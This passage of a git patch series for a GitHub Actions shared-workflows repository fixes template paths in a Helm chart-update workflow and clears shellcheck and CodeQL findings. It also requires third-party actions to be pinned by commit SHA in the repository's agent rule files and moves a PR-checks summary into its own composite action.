b/src/validate/pr-source-branch/action.yml @@ -46,7 +46,7 @@ runs: let isAllowed = false; for (const pattern of allowedBranches) { - if (pattern.endsWith('/*')) { + if (pattern.endsWith('*')) { const prefix = pattern.slice(0, -1); if (sourceBranch.startsWith(prefix)) { isAllowed = true; From 99dd556688f118ee6f0c6d063187a40bd8f8a374 Mon Sep 17 00:00:00 2001 From: Gandalf Date: Wed, 25 Mar 2026 10:10:20 -0300 Subject: [PATCH 03/21] fix(helm-update-chart): use VALUES_KEY for template file paths instead of COMP_NAME The workflow was using COMP_NAME to build configmap/secret template paths (e.g. templates/plugin-br-pix-indirect-btg-worker-inbound/configmap.yaml) but the actual directory structure uses VALUES_KEY names (e.g. templates/inbound/configmap.yaml). This caused the if [ -f ] check to silently fail, resulting in detected env vars never being injected into configmap/secret templates. Changes: - Use VALUES_KEY for CONFIGMAP_FILE and SECRET_FILE paths - Update create_secret_template to take VALUES_KEY as single arg - Add ::warning:: annotations when template files are not found Closes #167 --- .github/workflows/helm-update-chart.yml | 30 +++++++++++++------------ 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/.github/workflows/helm-update-chart.yml b/.github/workflows/helm-update-chart.yml index dbc3e97e..77f6a273 100644 --- a/.github/workflows/helm-update-chart.yml +++ b/.github/workflows/helm-update-chart.yml @@ -239,24 +239,22 @@ jobs: CHART_TEMPLATE_NAME=$(yq '.name' "${CHART_FILE}") # Function to create secret template if it doesn't exist - # $1 = comp_name (for directory/file path) - # $2 = values_key (for .Values references) + # $1 = values_key (for directory/file path and .Values references) create_secret_template() { - local comp_name="$1" - local values_key="${2:-$1}" # fallback to comp_name if not provided - local secret_file="${TEMPLATES_BASE}/${comp_name}/secret.yaml" + local values_key="$1" + local secret_file="${TEMPLATES_BASE}/${values_key}/secret.yaml" if [ ! -f "$secret_file" ]; then echo " Creating secret template: $secret_file" - mkdir -p "${TEMPLATES_BASE}/${comp_name}" + mkdir -p "${TEMPLATES_BASE}/${values_key}" printf '%s\n' \ "apiVersion: v1" \ "kind: Secret" \ "metadata:" \ - " name: {{ include \"${CHART_TEMPLATE_NAME}.fullname\" . }}-${comp_name}" \ + " name: {{ include \"${CHART_TEMPLATE_NAME}.fullname\" . }}-${values_key}" \ " labels:" \ " {{- include \"${CHART_TEMPLATE_NAME}.labels\" . | nindent 4 }}" \ - " app.kubernetes.io/component: ${comp_name}" \ + " app.kubernetes.io/component: ${values_key}" \ "type: Opaque" \ "data:" \ " # Extra Secret Vars" \ @@ -295,10 +293,10 @@ jobs: # Add new environment variables if any if [ "$COMP_ENV_VARS" != "{}" ] && [ "$COMP_ENV_VARS" != "null" ]; then - # Template paths use COMP_NAME (directory structure) - # Values references use VALUES_KEY (values.yaml structure) - CONFIGMAP_FILE="${TEMPLATES_BASE}/${COMP_NAME}/configmap.yaml" - SECRET_FILE="${TEMPLATES_BASE}/${COMP_NAME}/secret.yaml" + # Template paths use VALUES_KEY (directory structure matches values.yaml keys) + # Values references also use VALUES_KEY (values.yaml structure) + CONFIGMAP_FILE="${TEMPLATES_BASE}/${VALUES_KEY}/configmap.yaml" + SECRET_FILE="${TEMPLATES_BASE}/${VALUES_KEY}/secret.yaml" echo "$COMP_ENV_VARS" | jq -r 'to_entries[] | "\(.key)=\(.value)"' | while IFS='=' read -r key value; do if [ -n "$key" ]; then @@ -309,12 +307,14 @@ jobs: if is_sensitive_var "$key"; then echo " Adding SECRET var: ${key}=***" - # Create secret template if needed (uses COMP_NAME for path, VALUES_KEY for .Values) - create_secret_template "$COMP_NAME" "$VALUES_KEY" + # Create secret template if needed (uses VALUES_KEY for both path and .Values) + create_secret_template "$VALUES_KEY" # Add to secret template (using 2 spaces indentation for data section) if [ -f "${SECRET_FILE}" ] && grep -q "# Extra Secret Vars" "${SECRET_FILE}"; then sed -i "/# Extra Secret Vars/i\\ ${key}: {{ .Values.${VALUES_KEY}.secrets.${key} | default \"${escaped_value}\" | b64enc | quote }}" "${SECRET_FILE}" + else + echo "::warning::Secret template not found or missing '# Extra Secret Vars' marker: ${SECRET_FILE} — skipping var ${key}" fi else echo " Adding configmap var: ${key}=${value}" @@ -322,6 +322,8 @@ jobs: # Add to configmap template if it exists (using 2 spaces indentation) if [ -f "${CONFIGMAP_FILE}" ] && grep -q "# Extra Env Vars" "${CONFIGMAP_FILE}"; then sed -i "/# Extra Env Vars/i\\ ${key}: {{ .Values.${VALUES_KEY}.configmap.${key} | default \"${escaped_value}\" | quote }}" "${CONFIGMAP_FILE}" + else + echo "::warning::Configmap template not found or missing '# Extra Env Vars' marker: ${CONFIGMAP_FILE} — skipping var ${key}" fi fi fi From f7b22fa7e7dca0ee1bd91b413d0c30a93be4d34b Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 14:14:35 -0300 Subject: [PATCH 04/21] fix(helm-update-chart): quote GITHUB_OUTPUT and GITHUB_STEP_SUMMARY references Resolves SC2086 (double quote to prevent globbing) and SC2129 (group redirects) shellcheck warnings flagged by the PR lint analysis. --- .github/workflows/helm-update-chart.yml | 54 +++++++++++++------------ 1 file changed, 28 insertions(+), 26 deletions(-) diff --git a/.github/workflows/helm-update-chart.yml b/.github/workflows/helm-update-chart.yml index 77f6a273..69bf1734 100644 --- a/.github/workflows/helm-update-chart.yml +++ b/.github/workflows/helm-update-chart.yml @@ -136,13 +136,15 @@ jobs: TIMESTAMP=$(date +%Y%m%d%H%M%S) BRANCH_NAME="update/${CHART}/${SOURCE_REF}-${TIMESTAMP}" - echo "chart=${CHART}" >> $GITHUB_OUTPUT - echo "has_new_env_vars=${HAS_NEW_ENV_VARS}" >> $GITHUB_OUTPUT - echo "source_ref=${SOURCE_REF}" >> $GITHUB_OUTPUT - echo "source_repo=${SOURCE_REPO}" >> $GITHUB_OUTPUT - echo "source_actor=${SOURCE_ACTOR}" >> $GITHUB_OUTPUT - echo "source_sha=${SOURCE_SHA}" >> $GITHUB_OUTPUT - echo "branch_name=${BRANCH_NAME}" >> $GITHUB_OUTPUT + { + echo "chart=${CHART}" + echo "has_new_env_vars=${HAS_NEW_ENV_VARS}" + echo "source_ref=${SOURCE_REF}" + echo "source_repo=${SOURCE_REPO}" + echo "source_actor=${SOURCE_ACTOR}" + echo "source_sha=${SOURCE_SHA}" + echo "branch_name=${BRANCH_NAME}" + } >> "$GITHUB_OUTPUT" # Save components array to file for processing jq -c '.components' /tmp/payload.json > /tmp/components.json @@ -346,7 +348,7 @@ jobs: fi echo "" - echo "updated_components=$UPDATED_COMPONENTS" >> $GITHUB_OUTPUT + echo "updated_components=${UPDATED_COMPONENTS}" >> "$GITHUB_OUTPUT" - name: Update README matrix if: ${{ inputs.update_readme }} @@ -385,11 +387,11 @@ jobs: # Check if there are changes to commit if git diff --staged --quiet; then echo "No changes to commit" - echo "has_changes=false" >> $GITHUB_OUTPUT + echo "has_changes=false" >> "$GITHUB_OUTPUT" exit 0 fi - echo "has_changes=true" >> $GITHUB_OUTPUT + echo "has_changes=true" >> "$GITHUB_OUTPUT" # Determine commit message based on env_vars # feat: when new environment variables are added (requires attention) @@ -400,7 +402,7 @@ jobs: COMMIT_MSG="fix(${CHART}): update ${UPDATED_COMPONENTS}" fi - echo "commit_msg=${COMMIT_MSG}" >> $GITHUB_OUTPUT + echo "commit_msg=${COMMIT_MSG}" >> "$GITHUB_OUTPUT" echo "Committing with message: ${COMMIT_MSG}" git commit -m "${COMMIT_MSG}" @@ -465,7 +467,7 @@ jobs: --body-file /tmp/pr_body.md) echo "PR created: ${PR_URL}" - echo "pr_url=${PR_URL}" >> $GITHUB_OUTPUT + echo "pr_url=${PR_URL}" >> "$GITHUB_OUTPUT" - name: Summary run: | @@ -474,26 +476,26 @@ jobs: BRANCH_NAME="${{ steps.payload.outputs.branch_name }}" HAS_CHANGES="${{ steps.commit.outputs.has_changes }}" - echo "### Helm Chart Update Summary" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Chart:** \`${CHART}\`" >> $GITHUB_STEP_SUMMARY - echo "**Branch:** \`${BRANCH_NAME}\`" >> $GITHUB_STEP_SUMMARY - echo "**Base:** \`${{ inputs.base_branch }}\`" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY + echo "### Helm Chart Update Summary" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "**Chart:** \`${CHART}\`" >> "$GITHUB_STEP_SUMMARY" + echo "**Branch:** \`${BRANCH_NAME}\`" >> "$GITHUB_STEP_SUMMARY" + echo "**Base:** \`${{ inputs.base_branch }}\`" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" if [ "${HAS_CHANGES}" = "true" ]; then - echo "✅ **PR created successfully**" >> $GITHUB_STEP_SUMMARY + echo "✅ **PR created successfully**" >> "$GITHUB_STEP_SUMMARY" else - echo "ℹ️ **No changes detected**" >> $GITHUB_STEP_SUMMARY + echo "ℹ️ **No changes detected**" >> "$GITHUB_STEP_SUMMARY" fi - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Components:**" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "| Component | Version | New Env Vars |" >> $GITHUB_STEP_SUMMARY - echo "|-----------|---------|--------------|" >> $GITHUB_STEP_SUMMARY + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "**Components:**" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "| Component | Version | New Env Vars |" >> "$GITHUB_STEP_SUMMARY" + echo "|-----------|---------|--------------|" >> "$GITHUB_STEP_SUMMARY" - echo "$COMPONENTS" | jq -r '.[] | "| \(.name) | \(.version) | \(.env_vars | if . == {} then "-" else (. | keys | join(", ")) end) |"' >> $GITHUB_STEP_SUMMARY + echo "$COMPONENTS" | jq -r '.[] | "| \(.name) | \(.version) | \(.env_vars | if . == {} then "-" else (. | keys | join(", ")) end) |"' >> "$GITHUB_STEP_SUMMARY" - name: Send Slack notification if: ${{ inputs.slack_notification && steps.commit.outputs.has_changes == 'true' }} From 566bf291b07de6aef63c3ac13a0db42f2832f34b Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 14:26:24 -0300 Subject: [PATCH 05/21] fix(helm-update-chart): resolve CodeQL medium findings - Pin crazy-max/ghaction-import-gpg and mikefarah/yq to commit SHAs - Move inputs.base_branch to env var to prevent code injection in step summary - Add inline comment dismissing untrusted-checkout false positive --- .github/workflows/helm-update-chart.yml | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/.github/workflows/helm-update-chart.yml b/.github/workflows/helm-update-chart.yml index 69bf1734..fae7ba2d 100644 --- a/.github/workflows/helm-update-chart.yml +++ b/.github/workflows/helm-update-chart.yml @@ -149,6 +149,9 @@ jobs: # Save components array to file for processing jq -c '.components' /tmp/payload.json > /tmp/components.json + # CodeQL: untrusted-checkout — false positive. This is a workflow_call + # triggered by internal dispatch, not a PR event. The ref is a controlled + # branch name (develop/main), not an untrusted PR head. - name: Checkout uses: actions/checkout@v6 with: @@ -158,7 +161,7 @@ jobs: - name: Import GPG key if: ${{ inputs.gpg_sign_commits }} - uses: crazy-max/ghaction-import-gpg@v7 + uses: crazy-max/ghaction-import-gpg@2dc316deee8e90f13e1a351ab510b4d5bc0c82cd # v7 with: gpg_private_key: ${{ secrets.GPG_KEY }} passphrase: ${{ secrets.GPG_KEY_PASSWORD }} @@ -196,7 +199,7 @@ jobs: go build -o update-chart-version-readme update-chart-version-readme.go - name: Setup yq - uses: mikefarah/yq@v4 + uses: mikefarah/yq@5a7e72a743649b1b3a47d1a1d8214f3453173c51 # v4 - name: Process all components id: process @@ -470,6 +473,8 @@ jobs: echo "pr_url=${PR_URL}" >> "$GITHUB_OUTPUT" - name: Summary + env: + BASE_BRANCH: ${{ inputs.base_branch }} run: | COMPONENTS=$(cat /tmp/components.json) CHART="${{ steps.payload.outputs.chart }}" @@ -480,7 +485,7 @@ jobs: echo "" >> "$GITHUB_STEP_SUMMARY" echo "**Chart:** \`${CHART}\`" >> "$GITHUB_STEP_SUMMARY" echo "**Branch:** \`${BRANCH_NAME}\`" >> "$GITHUB_STEP_SUMMARY" - echo "**Base:** \`${{ inputs.base_branch }}\`" >> "$GITHUB_STEP_SUMMARY" + echo "**Base:** \`${BASE_BRANCH}\`" >> "$GITHUB_STEP_SUMMARY" echo "" >> "$GITHUB_STEP_SUMMARY" if [ "${HAS_CHANGES}" = "true" ]; then From 1bb25cdc5dd35c78ae7ad3b608f92b4407d50cc0 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 14:36:32 -0300 Subject: [PATCH 06/21] docs(rules): enforce commit SHA pinning for third-party actions Update all rules and commands (Claude, Cursor, AGENTS.md) to require third-party actions to be pinned by commit SHA instead of mutable tags. LerianStudio org actions remain pinned by release tag. --- .claude/commands/composite.md | 4 +++- .claude/commands/gha.md | 15 +++++++++++++-- .claude/commands/workflow.md | 13 +++++++++++-- .cursor/rules/composite-actions.mdc | 4 +++- .cursor/rules/reusable-workflows.mdc | 7 +++++-- AGENTS.md | 8 ++++++++ 6 files changed, 43 insertions(+), 8 deletions(-) diff --git a/.claude/commands/composite.md b/.claude/commands/composite.md index f7e4d0e9..c0e61742 100644 --- a/.claude/commands/composite.md +++ b/.claude/commands/composite.md @@ -18,7 +18,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic - Wrap it in a composite if it needs input normalization or additional steps -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in the composite `README.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. diff --git a/.claude/commands/gha.md b/.claude/commands/gha.md index 95d82653..6e1b9a88 100644 --- a/.claude/commands/gha.md +++ b/.claude/commands/gha.md @@ -119,7 +119,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic - If the action needs wrapping, create a composite in `src/` — don't inline complex shell directly in a workflow -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a comment with the version for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot will propose SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (e.g., `@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in the README or `docs/` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. @@ -466,11 +468,20 @@ uses: ./src/setup-go # resolves to caller's workspace, not this repo # ❌ Mutable ref on third-party actions uses: some-action/tool@main + +# ❌ Third-party action pinned by tag (tags are mutable) +uses: actions/checkout@v6 +uses: crazy-max/ghaction-import-gpg@v7 + +# ✅ Third-party action pinned by commit SHA +uses: actions/checkout@abc123def456 # v6 +uses: crazy-max/ghaction-import-gpg@2dc316deee8e # v7 ``` ## Security rules -- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. +- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions - Never use `@main` or `@master` for third-party actions - Never interpolate untrusted user input directly into `run:` commands - Never print secrets via `echo`, env dumps, or step summaries diff --git a/.claude/commands/workflow.md b/.claude/commands/workflow.md index cd073df4..736c5eb8 100644 --- a/.claude/commands/workflow.md +++ b/.claude/commands/workflow.md @@ -18,7 +18,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt - Prefer a well-maintained action over custom shell scripting for non-trivial logic - If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in `docs/.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. @@ -340,11 +342,18 @@ uses: ./src/setup-go # resolves to caller's workspace, not this repo # ❌ Mutable ref on third-party actions uses: some-action/tool@main + +# ❌ Third-party action pinned by tag (tags are mutable) +uses: actions/checkout@v6 + +# ✅ Third-party action pinned by commit SHA +uses: actions/checkout@abc123def456 # v6 ``` ## Security rules -- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. +- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions - Never use `@main` or `@master` for third-party actions - Never interpolate untrusted user input directly into `run:` commands - Never print secrets via `echo`, env dumps, or step summaries diff --git a/.cursor/rules/composite-actions.mdc b/.cursor/rules/composite-actions.mdc index df5c3f14..6bd89a73 100644 --- a/.cursor/rules/composite-actions.mdc +++ b/.cursor/rules/composite-actions.mdc @@ -28,7 +28,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic - Wrap it in a composite if it needs input normalization or additional steps -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in the composite `README.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. diff --git a/.cursor/rules/reusable-workflows.mdc b/.cursor/rules/reusable-workflows.mdc index 878787da..203a84fa 100644 --- a/.cursor/rules/reusable-workflows.mdc +++ b/.cursor/rules/reusable-workflows.mdc @@ -28,7 +28,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt - Prefer a well-maintained action over custom shell scripting for non-trivial logic - If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself -- Pin to a specific tag or SHA — never `@main` or `@master` +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically. +- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing) +- Never use `@main` or `@master` for third-party actions - Document in `docs/.md` why that action was chosen Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements. @@ -408,7 +410,8 @@ uses: some-action/tool@main # use a specific tag or SHA ## Security rules -- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. +- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions - Never use `@main` or `@master` for third-party actions - Never interpolate untrusted user input directly into `run:` commands - Never print secrets via `echo`, env dumps, or step summaries diff --git a/AGENTS.md b/AGENTS.md index f28d7149..935ebd36 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -156,6 +156,14 @@ Before modifying any existing file, follow the refactoring protocol in `.cursor/ ## Security rules +- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — tags are mutable and can be force-pushed by upstream maintainers. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically. + ```yaml + uses: actions/checkout@abc123def456 # v6 # ✅ third-party pinned by SHA + uses: crazy-max/ghaction-import-gpg@2dc316d # v7 # ✅ third-party pinned by SHA + uses: LerianStudio/github-actions-shared-workflows/src/notify/discord-release@v1.2.3 # ✅ org-owned pinned by tag + ``` +- `LerianStudio/*` actions use release tags (`@v1.2.3`) or branches (`@develop` for testing) — no SHA pinning needed for org-owned actions +- Never use `@main` or `@master` for third-party actions - Never hardcode tokens, org names, or internal URLs — use `inputs` or `secrets` - Never print secrets via `echo`, `run` output, or step summaries - Vulnerability reports go through private channels only — see [`SECURITY.md`](SECURITY.md) From bc414d009d45320b98f3cdec3366b28b7d38a4d7 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 15:09:42 -0300 Subject: [PATCH 07/21] refactor(pr-validation): extract pr-checks-summary composite and use branch refs for testing --- .github/workflows/pr-validation.yml | 60 ++++++------------ src/validate/pr-checks-summary/action.yml | 75 +++++++++++++++++++++++ 2 files changed, 93 insertions(+), 42 deletions(-) create mode 100644 src/validate/pr-checks-summary/action.yml diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 5bfc2757..d725d21b 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -86,7 +86,7 @@ jobs: steps: - name: Validate source branch - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@develop + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} allowed-branches: ${{ inputs.allowed_source_branches }} @@ -101,7 +101,7 @@ jobs: steps: - name: Validate PR title format - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@develop + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@refactor/modularize-pr-validation with: github-token: ${{ github.token }} types: ${{ inputs.pr_title_types }} @@ -121,7 +121,7 @@ jobs: fetch-depth: 0 - name: Check PR size - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@develop + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} base-ref: ${{ github.base_ref }} @@ -135,7 +135,7 @@ jobs: steps: - name: Validate PR description - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@develop + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} min-length: ${{ inputs.min_description_length }} @@ -153,7 +153,7 @@ jobs: fetch-depth: 0 - name: Auto-label based on files - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@develop + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} config-path: ${{ inputs.labeler_config_path }} @@ -166,7 +166,7 @@ jobs: steps: - name: Check assignee and linked issues - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@develop + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} @@ -183,7 +183,7 @@ jobs: fetch-depth: 0 - name: Check changelog - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@develop + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} base-ref: ${{ github.base_ref }} @@ -197,48 +197,24 @@ jobs: if: always() steps: - - name: Summary - uses: actions/github-script@v8 - env: - SOURCE_BRANCH_RESULT: ${{ needs.pr-source-branch.result }} - TITLE_RESULT: ${{ needs.pr-title.result }} - SIZE_RESULT: ${{ needs.pr-size.result }} - DESCRIPTION_RESULT: ${{ needs.pr-description.result }} - LABEL_RESULT: ${{ needs.pr-labels.result }} - METADATA_RESULT: ${{ needs.pr-metadata.result }} - CHANGELOG_RESULT: ${{ needs.pr-changelog.result }} - DRY_RUN: ${{ inputs.dry_run }} + - name: PR Checks Summary + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@refactor/modularize-pr-validation with: - github-token: ${{ secrets.MANAGE_TOKEN || github.token }} - script: | - const checks = { - 'Source Branch': process.env.SOURCE_BRANCH_RESULT, - 'PR Title': process.env.TITLE_RESULT, - 'PR Size': process.env.SIZE_RESULT, - 'PR Description': process.env.DESCRIPTION_RESULT, - 'Auto-label': process.env.LABEL_RESULT, - 'Metadata': process.env.METADATA_RESULT, - 'Changelog': process.env.CHANGELOG_RESULT - }; - - let summary = '## PR Checks Summary\n\n'; - if (process.env.DRY_RUN === 'true') { - summary += '> **DRY RUN** — no comments, labels, or reviews were posted\n\n'; - } - for (const [check, result] of Object.entries(checks)) { - const icon = result === 'success' ? '✅' : result === 'failure' ? '❌' : '⚠️'; - summary += `${icon} ${check}: ${result}\n`; - } - - core.summary.addRaw(summary); - await core.summary.write(); + source-branch-result: ${{ needs.pr-source-branch.result }} + title-result: ${{ needs.pr-title.result }} + size-result: ${{ needs.pr-size.result }} + description-result: ${{ needs.pr-description.result }} + label-result: ${{ needs.pr-labels.result }} + metadata-result: ${{ needs.pr-metadata.result }} + changelog-result: ${{ needs.pr-changelog.result }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} # ----------------- Slack Notification ----------------- notify: name: Notify needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-metadata, pr-changelog, pr-checks-summary] if: always() && github.event.pull_request.draft != true && !inputs.dry_run - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@develop + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@refactor/modularize-pr-validation with: status: ${{ (needs.pr-source-branch.result == 'failure' || needs.pr-title.result == 'failure' || needs.pr-description.result == 'failure' || needs.pr-changelog.result == 'failure') && 'failure' || 'success' }} workflow_name: "PR Validation" diff --git a/src/validate/pr-checks-summary/action.yml b/src/validate/pr-checks-summary/action.yml new file mode 100644 index 00000000..f23c8bec --- /dev/null +++ b/src/validate/pr-checks-summary/action.yml @@ -0,0 +1,75 @@ +name: PR Checks Summary +description: "Generates a summary table of all PR validation check results." + +inputs: + source-branch-result: + description: Result of source branch validation + required: false + default: skipped + title-result: + description: Result of PR title validation + required: false + default: skipped + size-result: + description: Result of PR size check + required: false + default: skipped + description-result: + description: Result of PR description check + required: false + default: skipped + label-result: + description: Result of auto-label step + required: false + default: skipped + metadata-result: + description: Result of PR metadata check + required: false + default: skipped + changelog-result: + description: Result of changelog check + required: false + default: skipped + dry-run: + description: Whether this is a dry run + required: false + default: "false" + +runs: + using: composite + steps: + - name: Summary + shell: bash + env: + SOURCE_BRANCH_RESULT: ${{ inputs.source-branch-result }} + TITLE_RESULT: ${{ inputs.title-result }} + SIZE_RESULT: ${{ inputs.size-result }} + DESCRIPTION_RESULT: ${{ inputs.description-result }} + LABEL_RESULT: ${{ inputs.label-result }} + METADATA_RESULT: ${{ inputs.metadata-result }} + CHANGELOG_RESULT: ${{ inputs.changelog-result }} + DRY_RUN: ${{ inputs.dry-run }} + run: | + icon() { + case "$1" in + success) echo "✅" ;; + failure) echo "❌" ;; + *) echo "⚠️" ;; + esac + } + + { + echo "## PR Checks Summary" + echo "" + if [ "$DRY_RUN" = "true" ]; then + echo "> **DRY RUN** — no comments, labels, or reviews were posted" + echo "" + fi + echo "$(icon "$SOURCE_BRANCH_RESULT") Source Branch: $SOURCE_BRANCH_RESULT" + echo "$(icon "$TITLE_RESULT") PR Title: $TITLE_RESULT" + echo "$(icon "$SIZE_RESULT") PR Size: $SIZE_RESULT" + echo "$(icon "$DESCRIPTION_RESULT") PR Description: $DESCRIPTION_RESULT" + echo "$(icon "$LABEL_RESULT") Auto-label: $LABEL_RESULT" + echo "$(icon "$METADATA_RESULT") Metadata: $METADATA_RESULT" + echo "$(icon "$CHANGELOG_RESULT") Changelog: $CHANGELOG_RESULT" + } >> "$GITHUB_STEP_SUMMARY" From 1fd5fa8e44462b1f29f00673ccca69faa470c8ad Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 15:30:25 -0300 Subject: [PATCH 08/21] fix(pr-validation): add missing README and fix broken doc link --- docs/slack-notify-workflow.md | 2 +- src/validate/pr-checks-summary/README.md | 50 ++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 src/validate/pr-checks-summary/README.md diff --git a/docs/slack-notify-workflow.md b/docs/slack-notify-workflow.md index fdc85e68..c03b1d5d 100644 --- a/docs/slack-notify-workflow.md +++ b/docs/slack-notify-workflow.md @@ -169,7 +169,7 @@ The slack-notify workflow is automatically integrated into: - [Build Workflow](build-workflow.md) - [Release Workflow](release-workflow.md) - [Go PR Analysis](go-pr-analysis-workflow.md) -- [PR Validation](pr-validation-workflow.md) +- [PR Validation](pr-validation.md) - [PR Security Scan](pr-security-scan-workflow.md) ## Best Practices diff --git a/src/validate/pr-checks-summary/README.md 